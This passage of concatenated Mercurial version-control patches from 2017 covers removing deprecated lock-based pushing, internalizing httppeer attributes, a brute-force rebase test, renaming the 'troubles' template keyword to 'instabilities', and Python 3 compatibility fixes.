+    decorate multiple functions.
+
+    Decorated functions are registered automatically at loading
+    extension, if an instance named as 'internalmerge' is used for
+    decorating in extension.
+
+    Otherwise, explicit 'filemerge.loadinternalmerge()' is needed.
+    """
+    _docformat = "``:%s``\n    %s"
+
+    # merge type definitions:
+    nomerge = None
+    mergeonly = 'mergeonly'  # just the full merge, no premerge
+    fullmerge = 'fullmerge'  # both premerge and merge
+
+    def _extrasetup(self, name, func, mergetype,
+                    onfailure=None, precheck=None):
+        func.mergetype = mergetype
+        func.onfailure = onfailure
+        func.precheck = precheck
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1501876176 14400
#      Fri Aug 04 15:49:36 2017 -0400
# Node ID 970967e0a917d73ae76870c1533b8a32bdbf7285
# Parent  50c44dee741ab99401bf0b3446fe4ae88ccd0bb2
http: add a test of actually pushing with httppostargs

This was previously untested. Sigh.

Differential Revision: https://phab.mercurial-scm.org/D230

diff --git a/tests/test-push-http.t b/tests/test-push-http.t
--- a/tests/test-push-http.t
+++ b/tests/test-push-http.t
@@ -172,4 +172,20 @@
   % serve errors
   [255]
 
+  $ cat > .hg/hgrc <<EOF
+  > [web]
+  > push_ssl = false
+  > allow_push = *
+  > [experimental]
+  > httppostargs=true
+  > EOF
+  $ req
+  pushing to http://localhost:$HGPORT/
+  searching for changes
+  remote: adding changesets
+  remote: adding manifests
+  remote: adding file changes
+  remote: added 1 changesets with 1 changes to 1 files
+  % serve errors
+
   $ cd ..
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1502066696 25200
#      Sun Aug 06 17:44:56 2017 -0700
# Node ID fda0867cfe03ebf457c12b7e0ff1b174aeb67759
# Parent  970967e0a917d73ae76870c1533b8a32bdbf7285
exchange: drop support for lock-based unbundling (BC)

Locking over the wire protocol and the "addchangegroup" wire
protocol command has been deprecated since e8c4f3d3df8c, which was
first part of Mercurial 0.9.1.

Support for handling these commands from sshserver was dropped in
9f6e0e7ef828 in 2015, effectively locking out pre 0.9.1 clients
from new servers.

However, client-side code for calling lock and addchangegroup is
still present in exchange.py and the various peer classes to
facilitate pushing to pre 0.9.1 servers.

The lock-based pushing mechanism is extremely brittle. 0.9.1 was
released in July 2006 and I highly doubt anyone is still running
such an ancient version of Mercurial on a server. I'm about to
refactor the peer API and I don't think it is worth keeping
support for this ancient protocol feature. So, this commit removes
client support for the lock-based pushing mechanism. This means
modern clients will no longer be able to push to pre 0.9.1 servers.

Differential Revision: https://phab.mercurial-scm.org/D264

diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -433,16 +433,13 @@
                     " %s") % (', '.join(sorted(missing)))
             raise error.Abort(msg)
 
-    # there are two ways to push to remote repo:
-    #
-    # addchangegroup assumes local user can lock remote
-    # repo (local filesystem, old ssh servers).
-    #
-    # unbundle assumes local user cannot lock remote repo (new ssh
-    # servers, http servers).
-
     if not pushop.remote.canpush():
         raise error.Abort(_("destination does not support push"))
+
+    if not pushop.remote.capable('unbundle'):
+        raise error.Abort(_('cannot push: destination does not support the '
+                            'unbundle wire protocol command'))
+
     # get local lock as we might write phase data
     localwlock = locallock = None
     try:
@@ -468,21 +465,14 @@
                                                   'push-response',
                                                   pushop.remote.url())
         pushop.repo.checkpush(pushop)
-        lock = None
-        unbundle = pushop.remote.capable('unbundle')
-        if not unbundle:
-            lock = pushop.remote.lock()
-        try:
-            _pushdiscovery(pushop)
-            if not _forcebundle1(pushop):
-                _pushbundle2(pushop)
-            _pushchangeset(pushop)
-            _pushsyncphase(pushop)
-            _pushobsolete(pushop)
-            _pushbookmark(pushop)
-        finally:
-            if lock is not None:
-                lock.release()
+        _pushdiscovery(pushop)
+        if not _forcebundle1(pushop):
+            _pushbundle2(pushop)
+        _pushchangeset(pushop)
+        _pushsyncphase(pushop)
+        _pushobsolete(pushop)
+        _pushbookmark(pushop)
+
         if pushop.trmanager:
             pushop.trmanager.close()
     finally:
@@ -958,9 +948,12 @@
     pushop.stepsdone.add('changesets')
     if not _pushcheckoutgoing(pushop):
         return
+
+    # Should have verified this in push().
+    assert pushop.remote.capable('unbundle')
+
     pushop.repo.prepushoutgoinghooks(pushop)
     outgoing = pushop.outgoing
-    unbundle = pushop.remote.capable('unbundle')
     # TODO: get bundlecaps from remote
     bundlecaps = None
     # create a changegroup from local
@@ -979,24 +972,18 @@
                                         bundlecaps=bundlecaps)
 
     # apply changegroup to remote
-    if unbundle:
-        # local repo finds heads on server, finds out what
-        # revs it must push. once revs transferred, if server
-        # finds it has different heads (someone else won
-        # commit/push race), server aborts.
-        if pushop.force:
-            remoteheads = ['force']
-        else:
-            remoteheads = pushop.remoteheads
-        # ssh: return remote's addchangegroup()
-        # http: return remote's addchangegroup() or 0 for error
-        pushop.cgresult = pushop.remote.unbundle(cg, remoteheads,
-                                            pushop.repo.url())
+    # local repo finds heads on server, finds out what
+    # revs it must push. once revs transferred, if server
+    # finds it has different heads (someone else won
+    # commit/push race), server aborts.
+    if pushop.force:
+        remoteheads = ['force']
     else:
-        # we return an integer indicating remote head count
-        # change
-        pushop.cgresult = pushop.remote.addchangegroup(cg, 'push',
-                                                       pushop.repo.url())
+        remoteheads = pushop.remoteheads
+    # ssh: return remote's addchangegroup()
+    # http: return remote's addchangegroup() or 0 for error
+    pushop.cgresult = pushop.remote.unbundle(cg, remoteheads,
+                                        pushop.repo.url())
 
 def _pushsyncphase(pushop):
     """synchronise phase information locally and remotely"""
diff --git a/mercurial/httppeer.py b/mercurial/httppeer.py
--- a/mercurial/httppeer.py
+++ b/mercurial/httppeer.py
@@ -132,9 +132,6 @@
                           (' '.join(self.caps or ['none'])))
         return self.caps
 
-    def lock(self):
-        raise error.Abort(_('operation not supported over http'))
-
     def _callstream(self, cmd, _compressible=False, **args):
         if cmd == 'pushkey':
             args['data'] = ''
diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -237,9 +237,6 @@
         except error.PushRaced as exc:
             raise error.ResponseError(_('push failed:'), str(exc))
 
-    def lock(self):
-        return self._repo.lock()
-
     def pushkey(self, namespace, key, old, new):
         return self._repo.pushkey(namespace, key, old, new)
 
diff --git a/mercurial/sshpeer.py b/mercurial/sshpeer.py
--- a/mercurial/sshpeer.py
+++ b/mercurial/sshpeer.py
@@ -17,21 +17,6 @@
     wireproto,
 )
 
-class remotelock(object):
-    def __init__(self, repo):
-        self.repo = repo
-    def release(self):
-        self.repo.unlock()
-        self.repo = None
-    def __enter__(self):
-        return self
-    def __exit__(self, exc_type, exc_val, exc_tb):
-        if self.repo:
-            self.release()
-    def __del__(self):
-        if self.repo:
-            self.release()
-
 def _serverquote(s):
     if not s:
         return s
@@ -337,33 +322,4 @@
             self.pipeo.flush()
         self.readerr()
 
-    def lock(self):
-        self._call("lock")
-        return remotelock(self)
-
-    def unlock(self):
-        self._call("unlock")
-
-    def addchangegroup(self, cg, source, url, lock=None):
-        '''Send a changegroup to the remote server.  Return an integer
-        similar to unbundle(). DEPRECATED, since it requires locking the
-        remote.'''
-        d = self._call("addchangegroup")
-        if d:
-            self._abort(error.RepoError(_("push refused: %s") % d))
-        for d in iter(lambda: cg.read(4096), ''):
-            self.pipeo.write(d)
-            self.readerr()
-
-        self.pipeo.flush()
-
-        self.readerr()
-        r = self._recv()
-        if not r:
-            return 1
-        try:
-            return int(r)
-        except ValueError:
-            self._abort(error.ResponseError(_("unexpected response:"), r))
-
 instance = sshpeer
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1501971320 25200
#      Sat Aug 05 15:15:20 2017 -0700
# Node ID 033484935391cd0cafc931b06bc21a366d5990b9
# Parent  fda0867cfe03ebf457c12b7e0ff1b174aeb67759
exchange: access requirements on repo instead of peer

As part of formalizing the peer interface, I audited for attribute
accesses for non-internal names to find API violations. This
uncovered the code changed in this commit.

localpeer.requirements is just an alias to the repo's requirements
attribute. So, change the code to get the data from the source
instead of relying on a one-off attribute in the localpeer type.

Differential Revision: https://phab.mercurial-scm.org/D265

diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -1226,8 +1226,10 @@
         opargs = {}
     pullop = pulloperation(repo, remote, heads, force, bookmarks=bookmarks,
                            streamclonerequested=streamclonerequested, **opargs)
-    if pullop.remote.local():
-        missing = set(pullop.remote.requirements) - pullop.repo.supported
+
+    peerlocal = pullop.remote.local()
+    if peerlocal:
+        missing = set(peerlocal.requirements) - pullop.repo.supported
         if missing:
             msg = _("required features are not"
                     " supported in the destination:"
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1502162222 25200
#      Mon Aug 07 20:17:02 2017 -0700
# Node ID da3087b8f4a269993dd4e4af25e443ea2e301e32
# Parent  033484935391cd0cafc931b06bc21a366d5990b9
localrepo: remove unused requirements attributes on localpeer (API)

The previous changeset removed the last consumer of requirements. I'm
not sure when supportedformats became unused. But I couldn't find
any obvious instances where it is being used. It likely stems from
peers being derived from repository instances several years ago and
is a holdover from that day.

Differential Revision: https://phab.mercurial-scm.org/D266

diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -154,8 +154,6 @@
         self._repo = repo.filtered('served')
         self.ui = repo.ui
         self._caps = repo._restrictcapabilities(caps)
-        self.requirements = repo.requirements
-        self.supportedformats = repo.supportedformats
 
     def close(self):
         self._repo.close()
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1502042185 25200
#      Sun Aug 06 10:56:25 2017 -0700
# Node ID c0b317cfecc8317d65798aaaa3f458211567b5b3
# Parent  da3087b8f4a269993dd4e4af25e443ea2e301e32
httppeer: remove unused handler attribute

The consumer of this attribute was removed by b6bd4ee6ed85 in 2008.

Differential Revision: https://phab.mercurial-scm.org/D267

diff --git a/mercurial/httppeer.py b/mercurial/httppeer.py
--- a/mercurial/httppeer.py
+++ b/mercurial/httppeer.py
@@ -90,7 +90,6 @@
     def __init__(self, ui, path):
         self.path = path
         self.caps = None
-        self.handler = None
         self.urlopener = None
         self.requestbuilder = None
         u = util.url(path)
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1502066861 25200
#      Sun Aug 06 17:47:41 2017 -0700
# Node ID 73fd395ee29ee09c1832dc457295ac45d26dd9ea
# Parent  c0b317cfecc8317d65798aaaa3f458211567b5b3
httppeer: make several instance attributes internal (API)

Peer instances are supposed to conform to a well-defined API so
consumers can be agnostic about the underlying peer type.

To reinforce this, this commit renames a handful of instance
attributes on httpeer so they no longer have a "public" name.

Differential Revision: https://phab.mercurial-scm.org/D268

diff --git a/mercurial/httppeer.py b/mercurial/httppeer.py
--- a/mercurial/httppeer.py
+++ b/mercurial/httppeer.py
@@ -88,10 +88,10 @@
 
 class httppeer(wireproto.wirepeer):
     def __init__(self, ui, path):
-        self.path = path
-        self.caps = None
-        self.urlopener = None
-        self.requestbuilder = None
+        self._path = path
+        self._caps = None
+        self._urlopener = None
+        self._requestbuilder = None
         u = util.url(path)
         if u.query or u.fragment:
             raise error.Abort(_('unsupported URL component: "%s"') %
@@ -103,33 +103,33 @@
         self.ui = ui
         self.ui.debug('using %s\n' % self._url)
 
-        self.urlopener = url.opener(ui, authinfo)
-        self.requestbuilder = urlreq.request
+        self._urlopener = url.opener(ui, authinfo)
+        self._requestbuilder = urlreq.request
 
     def __del__(self):
-        urlopener = getattr(self, 'urlopener', None)
+        urlopener = getattr(self, '_urlopener', None)
         if urlopener:
             for h in urlopener.handlers:
                 h.close()
                 getattr(h, "close_all", lambda : None)()
 
     def url(self):
-        return self.path
+        return self._path
 
     # look up capabilities only when needed
 
     def _fetchcaps(self):
-        self.caps = set(self._call('capabilities').split())
+        self._caps = set(self._call('capabilities').split())
 
     def _capabilities(self):
-        if self.caps is None:
+        if self._caps is None:
             try:
                 self._fetchcaps()
             except error.RepoError:
-                self.caps = set()
+                self._caps = set()
             self.ui.debug('capabilities: %s\n' %
-                          (' '.join(self.caps or ['none'])))
-        return self.caps
+                          (' '.join(self._caps or ['none'])))
+        return self._caps
 
     def _callstream(self, cmd, _compressible=False, **args):
         if cmd == 'pushkey':
@@ -144,7 +144,7 @@
         # Important: don't use self.capable() here or else you end up
         # with infinite recursion when trying to look up capabilities
         # for the first time.
-        postargsok = self.caps is not None and 'httppostargs' in self.caps
+        postargsok = self._caps is not None and 'httppostargs' in self._caps
         # TODO: support for httppostargs when data is a file-like
         # object rather than a basestring
         canmungedata = not data or isinstance(data, basestring)
@@ -189,7 +189,7 @@
         protoparams = []
 
         mediatypes = set()
-        if self.caps is not None:
+        if self._caps is not None:
             mt = self.capable('httpmediatype')
             if mt:
                 protoparams.append('0.1')
@@ -217,13 +217,13 @@
         if varyheaders:
             headers['Vary'] = ','.join(varyheaders)
 
-        req = self.requestbuilder(cu, data, headers)
+        req = self._requestbuilder(cu, data, headers)
 
         if data is not None:
             self.ui.debug("sending %s bytes\n" % size)
             req.add_unredirected_header('Content-Length', '%d' % size)
         try:
-            resp = self.urlopener.open(req)
+            resp = self._urlopener.open(req)
         except urlerr.httperror as inst:
             if inst.code == 401:
                 raise error.Abort(_('authorization failed'))
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1500496446 25200
#      Wed Jul 19 13:34:06 2017 -0700
# Node ID 01a1c4e668169b6c3f3a962373772c0c02460d44
# Parent  73fd395ee29ee09c1832dc457295ac45d26dd9ea
repo: skip invalidation of changelog if it has 'delayed' changes (API)

The changelog object can store recently added revisions in memory
until the transaction is committed. We don't want to lose those
changes even if repo.invalidate(clearfilecache=True), so let's skip
the changelog when it has such 'delayed' changes.

Differential Revision: https://phab.mercurial-scm.org/D152

diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -1461,6 +1461,13 @@
             # dirstate is invalidated separately in invalidatedirstate()
             if k == 'dirstate':
                 continue
+            if (k == 'changelog' and
+                self.currenttransaction() and
+                self.changelog._delayed):
+                # The changelog object may store unwritten revisions. We don't
+                # want to lose them.
+                # TODO: Solve the problem instead of working around it.
+                continue
 
             if clearfilecache:
                 del self._filecache[k]
diff --git a/tests/test-context.py b/tests/test-context.py
--- a/tests/test-context.py
+++ b/tests/test-context.py
@@ -179,3 +179,14 @@
             print('data mismatch')
     except Exception as ex:
         print('cannot read data: %r' % ex)
+
+with repo.wlock(), repo.lock(), repo.transaction('test'):
+    with open(b'4', 'wb') as f:
+        f.write(b'4')
+    repo.dirstate.normal('4')
+    repo.commit('4')
+    revsbefore = len(repo.changelog)
+    repo.invalidate(clearfilecache=True)
+    revsafter = len(repo.changelog)
+    if revsbefore != revsafter:
+        print('changeset lost by repo.invalidate()')
# HG changeset patch
# User Alex Gaynor <agaynor@mozilla.com>
# Date 1502218393 0
#      Tue Aug 08 18:53:13 2017 +0000
# Node ID 36d216dcae6a71689e686042ebea650020b6952a
# Parent  01a1c4e668169b6c3f3a962373772c0c02460d44
dirstate: simplify dirstate's __iter__

Probably also a performance win, but not measurable in perfdirstate.

Differential Revision: https://phab.mercurial-scm.org/D269

diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -359,8 +359,7 @@
         return key in self._map
 
     def __iter__(self):
-        for x in sorted(self._map):
-            yield x
+        return iter(sorted(self._map))
 
     def items(self):
         return self._map.iteritems()
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1502044853 25200
#      Sun Aug 06 11:40:53 2017 -0700
# Node ID 71b77b61ed609e12d133d33706f0abf763947c76
# Parent  36d216dcae6a71689e686042ebea650020b6952a
test-rebase: add a brute force test

Rebase is becoming more complex and it looks like a good idea to try some
brute force enumeration to cover cases that are hard to find manually.

Using brute force to generate repos in different shapes and enumerating the
rebase source and destination would generate too many cases that takes too
long to compute. This patch limits the "brute force" to only the "rebase
source" part. Repo and destination are still manual.

The added test cases are crafted manually to reveal some behaviors that are
not covered by other tests:

  - "revlog index out of range" crash
  - after rebase, p1 == p2, p2 != null
  - "nothing to merge" abort

In the future we might want to add more tests here. For now I'm more
interested in revealing interesting behaviors in a minified way. I tried
some more complex cases but didn't find other interesting behaviors.

Differential Revision: https://phab.mercurial-scm.org/D262

diff --git a/tests/bruterebase.py b/tests/bruterebase.py
new file mode 100644
--- /dev/null
+++ b/tests/bruterebase.py
@@ -0,0 +1,69 @@
+# bruterebase.py - brute force rebase testing
+#
+# Copyright 2017 Facebook, Inc.
+#
+# This software may be used and distributed according to the terms of the
+# GNU General Public License version 2 or any later version.
+
+from __future__ import absolute_import
+
+from mercurial import (
+    error,
+    registrar,
+    revsetlang,
+)
+
+from hgext import rebase
+
+cmdtable = {}
+command = registrar.command(cmdtable)
+
+@command('debugbruterebase')
+def debugbruterebase(ui, repo, source, dest):
+    """for every non-empty subset of source, run rebase -r subset -d dest
+
+    Print one line summary for each subset. Assume obsstore is enabled.
+    """
+    srevs = list(repo.revs(source))
+
+    with repo.wlock(), repo.lock():
+        repolen = len(repo)
+        cl = repo.changelog
+
+        def getdesc(rev):
+            result = cl.changelogrevision(rev).description
+            if rev >= repolen:
+                result += "'"
+            return result
+
+        for i in xrange(1, 2 ** len(srevs)):
+            subset = [rev for j, rev in enumerate(srevs) if i & (1 << j) != 0]
+            spec = revsetlang.formatspec('%ld', subset)
+            tr = repo.transaction('rebase')
+            tr.report = lambda x: 0 # hide "transaction abort"
+
+            ui.pushbuffer()
+            try:
+                rebase.rebase(ui, repo, dest=dest, rev=[spec])
+            except error.Abort as ex:
+                summary = 'ABORT: %s' % ex
+            except Exception as ex:
+                summary = 'CRASH: %s' % ex
+            else:
+                # short summary about new nodes
+                cl = repo.changelog
+                descs = []
+                for rev in xrange(repolen, len(repo)):
+                    desc = '%s:' % getdesc(rev)
+                    for prev in cl.parentrevs(rev):
+                        if prev > -1:
+                            desc += getdesc(prev)
+                    descs.append(desc)
+                descs.sort()
+                summary = ' '.join(descs)
+            ui.popbuffer()
+            repo.vfs.tryunlink('rebasestate')
+
+            subsetdesc = ''.join(getdesc(rev) for rev in subset)
+            ui.write(('%s: %s\n') % (subsetdesc.rjust(len(srevs)), summary))
+            tr.abort()
diff --git a/tests/test-rebase-brute-force.t b/tests/test-rebase-brute-force.t
new file mode 100644
--- /dev/null
+++ b/tests/test-rebase-brute-force.t
@@ -0,0 +1,55 @@
+  $ cat >> $HGRCPATH <<EOF
+  > [extensions]
+  > drawdag=$TESTDIR/drawdag.py
+  > bruterebase=$TESTDIR/bruterebase.py
+  > [experimental]
+  > evolution=createmarkers,allowunstable
+  > EOF
+  $ init() {
+  >   N=`expr ${N:-0} + 1`
+  >   cd $TESTTMP && hg init repo$N && cd repo$N
+  >   hg debugdrawdag
+  > }
+
+Source looks like "N"
+
+  $ init <<'EOS'
+  > C D
+  > |\|
+  > A B Z
+  > EOS
+
+  $ hg debugbruterebase 'all()-Z' Z
+     A: A':Z
+     B: B':Z
+    AB: A':Z B':Z
+     C: ABORT: cannot use revision 3 as base, result would have 3 parents
+    AC: A':Z C':A'B
+    BC: B':Z C':B'A
+   ABC: A':Z B':Z C':A'B'
+     D: D':Z
+    AD: A':Z D':Z
+    BD: B':Z D':B'
+   ABD: A':Z B':Z D':B'
+    CD: CRASH: revlog index out of range
+   ACD: A':Z C':A'A' D':Z
+   BCD: B':Z C':B'A D':B'
+  ABCD: A':Z B':Z C':A'B' D':B'
+
+Moving backwards
+
+  $ init <<'EOS'
+  > C
+  > |\
+  > A B
+  > |
+  > Z
+  > EOS
+  $ hg debugbruterebase 'all()-Z' Z
+    B: B':Z
+    A: 
+   BA: B':Z
+    C: ABORT: cannot use revision 3 as base, result would have 3 parents
+   BC: B':Z C':B'A
+   AC: 
+  BAC: ABORT: nothing to merge
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501666345 -7200
#      Wed Aug 02 11:32:25 2017 +0200
# Node ID 511d6ae462f37ba0f8041f7dda01b6a39af0696c
# Parent  71b77b61ed609e12d133d33706f0abf763947c76
template: rename troubles templatekw into instabilities

Rename troubles template keyword into instabilities and add a deprecation
warning on templatekw.

Update default mapfile and test files to use the new template keyword.

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D237

diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -765,9 +765,21 @@
     return repo.ui.termwidth()
 
 @templatekeyword('troubles')
-def showtroubles(**args):
+def showtroubles(repo, **args):
     """List of strings. Evolution troubles affecting the changeset.
 
+    (DEPRECATED)
+    """
+    msg = ("'troubles' is deprecated, "
+           "use 'instabilities'")
+    repo.ui.deprecwarn(msg, '4.4')
+
+    return showinstabilities(repo=repo, **args)
+
+@templatekeyword('instabilities')
+def showinstabilities(**args):
+    """List of strings. Evolution instabilities affecting the changeset.
+
     (EXPERIMENTAL)
     """
     args = pycompat.byteskwargs(args)
diff --git a/mercurial/templates/map-cmdline.default b/mercurial/templates/map-cmdline.default
--- a/mercurial/templates/map-cmdline.default
+++ b/mercurial/templates/map-cmdline.default
@@ -29,7 +29,7 @@
 
 # General templates
 _trouble_label = 'trouble.{trouble}'
-_troubles_labels = '{if(troubles, "changeset.troubled {troubles%_trouble_label}")}'
+_troubles_labels = '{if(instabilities, "changeset.troubled {instabilities%_trouble_label}")}'
 _obsolete_label = '{if(obsolete, "changeset.obsolete")}'
 _cset_labels = '{separate(" ", "log.changeset", "changeset.{phase}", "{_obsolete_label}", "{_troubles_labels}")}'
 cset = '{label("{_cset_labels}",
@@ -68,8 +68,8 @@
 ldate = '{label("log.date",
                 "date:        {date|date}")}\n'
 
-ltroubles = '{if(troubles, "{label('log.trouble',
-                                   'trouble:     {join(troubles, ", ")}')}\n")}'
+ltroubles = '{if(instabilities, "{label('log.trouble',
+                                   'instability: {join(instabilities, ", ")}')}\n")}'
 
 extra = '{label("ui.debug log.extra",
                 "extra:       {key}={value|stringescape}")}\n'
diff --git a/tests/test-obsolete-divergent.t b/tests/test-obsolete-divergent.t
--- a/tests/test-obsolete-divergent.t
+++ b/tests/test-obsolete-divergent.t
@@ -670,7 +670,7 @@
 
   $ rm .hg/localtags
   $ hg cleanup --config extensions.t=$TESTTMP/scmutilcleanup.py
-  $ hg log -G -T '{rev}:{node|short} {desc} {troubles}' -r 'sort(all(), topo)'
+  $ hg log -G -T '{rev}:{node|short} {desc} {instabilities}' -r 'sort(all(), topo)'
   @  5:1a2a9b5b0030 B2 content-divergent
   |
   | o  4:70d5a63ca112 B4 content-divergent
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -3,7 +3,7 @@
   > # public changeset are not obsolete
   > publish=false
   > [ui]
-  > logtemplate="{rev}:{node|short} ({phase}{if(obsolete, ' *{obsolete}*')}{if(troubles, ' {troubles}')}) [{tags} {bookmarks}] {desc|firstline}\n"
+  > logtemplate="{rev}:{node|short} ({phase}{if(obsolete, ' *{obsolete}*')}{if(instabilities, ' {instabilities}')}) [{tags} {bookmarks}] {desc|firstline}\n"
   > EOF
   $ mkcommit() {
   >    echo "$1" > "$1"
@@ -934,7 +934,7 @@
   changeset:   7:50c51b361e60
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
-  trouble:     orphan, phase-divergent
+  instability: orphan, phase-divergent
   summary:     add babar
   
   $ hg log -T default -r 'obsolete()'
diff --git a/tests/test-template-engine.t b/tests/test-template-engine.t
--- a/tests/test-template-engine.t
+++ b/tests/test-template-engine.t
@@ -10,7 +10,7 @@
   >     def process(self, t, map):
   >         tmpl = self.loader(t)
   >         for k, v in map.iteritems():
-  >             if k in ('templ', 'ctx', 'repo', 'revcache', 'cache'):
+  >             if k in ('templ', 'ctx', 'repo', 'revcache', 'cache', 'troubles'):
   >                 continue
   >             if hasattr(v, '__call__'):
   >                 v = v(**map)
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1502219225 14400
#      Tue Aug 08 15:07:05 2017 -0400
# Node ID 2e43c5cd57a78cc4be8beb6fd6507ed340a2dd26
# Parent  511d6ae462f37ba0f8041f7dda01b6a39af0696c
tests: fix up test-run-tests failures on Python 3.6

Some of the recent work on run-tests.py didn't work on Python 3. This
fixes the regressions.

Differential Revision: https://phab.mercurial-scm.org/D270

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -105,9 +105,13 @@
     PYTHON3 = True
     xrange = range # we use xrange in one place, and we'd rather not use range
     def _bytespath(p):
+        if p is None:
+            return p
         return p.encode('utf-8')
 
     def _strpath(p):
+        if p is None:
+            return p
         return p.decode('utf-8')
 
 elif sys.version_info >= (3, 0, 0):
@@ -1383,7 +1387,8 @@
                         else:
                             m = optline.match(el)
                             if m:
-                                conditions = [c for c in m.group(2).split(' ')]
+                                conditions = [
+                                    c for c in m.group(2).split(b' ')]
 
                                 if not self._hghave(conditions)[0]:
                                     optional.append(i)
@@ -1497,7 +1502,7 @@
             else:
                 m = optline.match(el)
                 if m:
-                    conditions = [c for c in m.group(2).split(' ')]
+                    conditions = [c for c in m.group(2).split(b' ')]
 
                     el = m.group(1) + b"\n"
                     if not self._hghave(conditions)[0]:
diff --git a/tests/test-run-tests.py b/tests/test-run-tests.py
--- a/tests/test-run-tests.py
+++ b/tests/test-run-tests.py
@@ -39,7 +39,7 @@
             and output.endswith(b'\n')), 'missing newline'
     assert not re.search(br'[^ \w\\/\r\n()*?]', expected + output), \
            b'single backslash or unknown char'
-    test = run_tests.TTest('test-run-test.t', '.', '.')
+    test = run_tests.TTest(b'test-run-test.t', b'.', b'.')
     match = test.linematch(expected, output)
     if isinstance(match, str):
         return 'special: ' + match
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1500909392 14400
#      Mon Jul 24 11:16:32 2017 -0400
# Node ID 373ca5103ba860d7ab7d9ac732f1f50660f5a45b
# Parent  2e43c5cd57a78cc4be8beb6fd6507ed340a2dd26
bundle2: convert ints to strings using pycompat.bytestring()

Fixes some Python 3 regressions.

We don't use %d here because the part id is actually an
Optional[int]. It should always be initialized to a non-None value by
the time this code executes, but we shouldn't blindly depend on that
being the case.

Differential Revision: https://phab.mercurial-scm.org/D272

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -1000,7 +1000,7 @@
             parttype = self.type.upper()
         else:
             parttype = self.type.lower()
-        outdebug(ui, 'part %s: "%s"' % (self.id, parttype))
+        outdebug(ui, 'part %s: "%s"' % (pycompat.bytestr(self.id), parttype))
         ## parttype
         header = [_pack(_fparttypesize, len(parttype)),
                   parttype, _pack(_fpartid, self.id),
@@ -1239,7 +1239,7 @@
         self.type = self._fromheader(typesize)
         indebug(self.ui, 'part type: "%s"' % self.type)
         self.id = self._unpackheader(_fpartid)[0]
-        indebug(self.ui, 'part id: "%s"' % self.id)
+        indebug(self.ui, 'part id: "%s"' % pycompat.bytestr(self.id))
         # extract mandatory bit from type
         self.mandatory = (self.type != self.type.lower())
         self.type = self.type.lower()
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1500910139 14400
#      Mon Jul 24 11:28:59 2017 -0400
# Node ID 672ad4f3bb84cb8163744b463de7b705b8c2688f
# Parent  373ca5103ba860d7ab7d9ac732f1f50660f5a45b
changegroup: more **kwargs

Differential Revision: https://phab.mercurial-scm.org/D273

diff --git a/mercurial/changegroup.py b/mercurial/changegroup.py
--- a/mercurial/changegroup.py
+++ b/mercurial/changegroup.py
@@ -390,13 +390,13 @@
                     if clstart >= len(repo):
                         return
 
-                    repo.hook("changegroup", **hookargs)
+                    repo.hook("changegroup", **pycompat.strkwargs(hookargs))
 
                     for n in added:
                         args = hookargs.copy()
                         args['node'] = hex(n)
                         del args['node_last']
-                        repo.hook("incoming", **args)
+                        repo.hook("incoming", **pycompat.strkwargs(args))
 
                     newheads = [h for h in repo.heads()
                                 if h not in oldheads]
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1500910191 14400
#      Mon Jul 24 11:29:51 2017 -0400
# Node ID 888f24810ea2eecfa78bccad9506e21dd8da4ba3
# Parent  672ad4f3bb84cb8163744b463de7b705b8c2688f
obsutil: defend against succsmarkers() returning None

I'm not sure if this is a realistic problem, but doing this avoids
some pretty awful test failures on Python 3, and it looks like it
should be harmless.

Differential Revision: https://phab.mercurial-scm.org/D274

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -307,7 +307,7 @@
         seenrevs.add(rev)
         if phase(repo, rev) == public:
             continue
-        if set(succsmarkers(node)).issubset(addedmarkers):
+        if set(succsmarkers(node) or []).issubset(addedmarkers):
             obsoleted.add(rev)
     return obsoleted
 
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1500918512 14400
#      Mon Jul 24 13:48:32 2017 -0400
# Node ID d880a6bcef2fc7f0820130de345bcfab21208ce7
# Parent  888f24810ea2eecfa78bccad9506e21dd8da4ba3
ui: refactor extractchoices so it doesn't break on Python 3

Differential Revision: https://phab.mercurial-scm.org/D275

diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -1269,9 +1269,10 @@
         m = re.match(br'(?s)(.+?)\$\$([^\$]*&[^ \$].*)', prompt)
         msg = m.group(1)
